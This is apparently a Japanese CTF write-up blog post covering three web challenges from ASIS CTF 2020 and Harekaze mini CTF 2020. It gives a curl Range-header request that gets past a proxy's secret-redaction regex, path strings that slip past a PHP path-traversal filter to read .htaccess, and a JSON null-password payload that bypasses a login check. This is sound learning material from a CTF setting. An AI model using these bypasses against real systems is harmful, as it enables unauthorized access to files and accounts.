asis ctf 2020
Less secure secrets
プロキシの設定で<secret>(.*)</secret>に囲まれたフラグ部だけが置換されて返される問題。
Substitute s|<secret>(.*)</secret>|Protected|i
Rangeヘッダーを使用して、レスポンスの一部のみを変えさせることで、上の置換対象から外してフラグを取得する。
https://developer.mozilla.org/ja/docs/Web/HTTP/Range_requests
# レスポンスの750byteから800byte目の部分だけをレスポンスに含める。 % curl -H 'Range: bytes=750-810' https://securesecrets.asisctf.com/secret.html nt the first secret? I think it's "ASIS{L3T5_S74rT_7h3_fUn}".%
Harekaze mini ctf 2020
JWT is secure
writeupは他の方が書いているのでお任せして、正規表現マッチをすり抜ける箇所に苦労したので、そこだけメモします。
// 一部改変
private function getSecretKey($kid) {
$dir = './keys' . '/' . $kid[0] . '/' . $kid[1];
$path = $dir . '/' . $kid;
// no path traversal, no stream wrapper
if (preg_match('/\.\.|\/\/|:/', $kid)) {
throw new Exception('Hacking attempt detected');
}
if (!file_exists($path) || !is_file($path)) {
throw new Exception('Secret key not found');
}
return file_get_contents($path);
}
カレントディレクトリ配下に./keys/.htaccessがあるのでそれを$pathに指定したい状況。
シェル上では次の方法でcatできた。
$cat ./keys/\/./\./.htaccess $cat ./keys/'/'/''.htaccess $cat ./keys/"/"/"".htaccess $cat ./keys///.//.htaccess
それに対して、実際にローカルで実行して正常にファイルを取得できた(file_exists($path)とis_file($path)でファイルを取得できた)のは次のものだけ。
file_exists('./keys///.//.htaccess ');
(シェル上から直接phpコード(file_exists(),is_file())を実行すると動作するけど、アプリを動作させて実行すると上の関数でファイルが見つからなかったりした。)
結果的にkidに指定したのは/.htaccess。
Avatar Viewer
Harekaze mini CTF 2020 writeup for web challs
この方のwriteupを参考にしています。
この問題の肝は認証部分。adminとしてログインできればokで、そのためにパストラバーサルで認証情報を読みたい。
# 配布された認証情報 users['guest']のようにアクセスできる { "guest": "guest", "admin-(censored)": "<censored>" }
けどその前に下のようなパスワードチェックがあるのですり抜けたい。
app.post('/login', async (request, reply) => { // snip------------------ if (!('username' in request.body && 'password' in request.body)) { request.flash('error', 'username or password is not provided'); return reply.redirect('/login'); } const { username, password } = request.body; // snip--------------------------------- if (users[username] != password) { request.flash('error', 'username or password is incorrect'); return reply.redirect('/login'); } request.session.set('username', username); reply.redirect('/profile'); });
users[username] != passwordここが通ればあとはよしなにできる。結果として、ログインリクエストで下のようなJSONを投げると
{ "username": "hoge", "password": null }
undefined != undefinedの比較になるので、認証をすり抜けられるとのことでした。
チェック
users = {'guest':'guest','admin':'admin'} console.log(users['hoge']) console.log(null) if (users['hoge']==null) console.log('matched')
result
undefined null matched